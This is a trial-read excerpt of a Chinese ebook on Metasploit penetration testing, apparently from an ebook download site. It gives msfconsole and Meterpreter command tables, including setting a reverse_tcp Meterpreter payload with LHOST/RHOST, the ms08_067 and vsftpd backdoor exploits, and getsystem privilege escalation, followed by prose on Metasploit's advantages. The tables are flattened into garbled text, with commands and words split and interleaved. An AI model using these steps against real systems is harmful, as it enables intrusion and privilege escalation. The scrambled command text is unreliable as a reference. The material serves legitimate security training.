现在来回顾一下本章中Metasploit将会用到的基本命令。下表给出了这些命令的使用示例。命令用法示例use msf>use[Auxiliary/exploit/unix/ftp/选择一个指定的Exploit/vsftpd_234_backdoor模块并使其开始工作Payload/msf>useEncoder]auxiliary/scanner/portscan/tcpshow [exploits/msf>show payloads显示可用的特定payloads/msf> show options功能的模块encoder/auxiliary/options]msf>set payloadwindows/meterpreter/reverse_tcpset msf>set LHOST 给某个特定对象[options/192.168.10.118赋值payload]msf> set RHOST 192.168.10.112msf> set LPORT 4444msf> set RPORT 8080给某个对象赋值setg 的同时设定作用域为msf>setg RHOST [options/全局,在模块进行切192.168.10.112payload]换的时候,该对象的值不会被改变在设置一个辅助模块需要的所有选项Runmsf>run之后,启动该辅助模块expl启动一个渗透模msf>exploitoit块msf(ms08_067_netapi)>取消当前选择的back模块并且退回到上一back级命令窗口msf>msf>infoexploit/windows/smb/列出相关模块的Infoms08_067_netapi信息msf(ms08_067_netapi)>infoSear搜索符合条件的msf>search hfsch特定模块chec检查某个特定目msf>checkk标是否易受攻击msf>sessions [session Sess列出当前可用的number]ions会话

以下是Meterpreter的一些命令。Meterpr用途示例eter命令sys列出被渗透主机的系统meterpreter>sysinfoinfo信息meterpreter>ifconfiifcog列出被渗透主机的网络nfigmeterpreter>ipconfig 接口(Windows)列出目标主机ARP缓存Arpmeterpreter>arp地址的IP地址和MAC地址ba将一个处于激活状态的meterpreter>backgrckgroun会话发送到后台ounddsh获取目标主机的一个meterpreter>shellellcmd shellgetmeterpreter>getuid获取当前用户细节uidget提升权限,获取系统级meterpreter>getsyssystemtem权限获取Meterpreter会话在getmeterpreter>getpid目标主机上注入进程的进程pid号列出目标主机上运行的psmeterpreter>ps所有进程 如果是第一次接触Metasploit,可访问http://

www.offensive-security.com/metasploit-unleashed/

Msfconsole_Commands获取关于基本命令的更多信息。1.8 使用Metasploit进行渗透测试的优势

在开始渗透之旅之前,必须弄清楚为什么要使用Metasploit工具来替代手动渗透技术。是因为那看起来很酷的黑客风格的控制终端使我们显得很专业,还是有什么其他的原因?与传统的手动技术相比,选择Metasploit的原因主要有以下几点。1.8.1 源代码的开放性

选择Metasploit的主要理由之一就是其源代码的开放性以及积极快速的发展。世界上还有许多非常优秀的商业版渗透测试工具,但是Metasploit对用户开放它的源代码,并且允许用户添加自己的自定义模块。虽然Metasploit Pro版本是收费的,但如果以学习为目的,可以将Metasploit Community版作为首选。1.8.2 对大型网络测试的支持以及便利的命名规则

Metasploit框架十分易用,不过这里的易用性是指Metasploit中命令的简单命名约定。它为执行大规模的网络渗透测试提供了便利。设想这样一个场景,我们面对的网络包含了整整200个系统。当使用Metasploit时,你可以对整个目标网络进行自动化渗透测试,而不必一台一台地逐个测试。指定参数值后,例如子网(subnet)和无类别域际路由(Classless Inter Domain Routing,CIDR),Metasploit就可以自动对所有计算机进行测试以发现目标上的漏洞。而如果采用手动测试,就需要分别对200个系统逐个测试。因此使用Metasploit渗透框架可以节省大量的时间和精力。1.8.3 灵活的攻击载荷模块生成和切换机制

最为重要的是,在Metasploit中切换攻击载荷模块十分容易—— 它提供了set payload命令来快速切换攻击载荷模块。因而在Metasploit中从Meterpreter终端或者shell控制行可以十分简单地转换到具体的操作,例如添加一个用户,获得远程桌面控制。在命令行中输入msfvenom也可以很容易地创建一个人工攻击代码程序。1.8.4 干净的通道建立方式

Metasploit可以在目标计算机上不留痕迹地建立控制通道,而一个自定义编码的渗透模块在建立控制通道时却可能会引起系统的崩溃。这确实是一个重要的问题,在这种情况下,我们都知道系统是不会立刻重新启动的。

设想这样一个场景:我们已经拿下了一个Web服务器,在准备建立通道的时候目标服务却崩溃了。这台服务器的计划维护时间是在50天以后。那现在该做什么呢?熬过接下来的50天直到目标服务再

试读结束[说明:试读内容隐藏了图片]

下载完整电子书


相关推荐

最新文章


© 2020 txtepub下载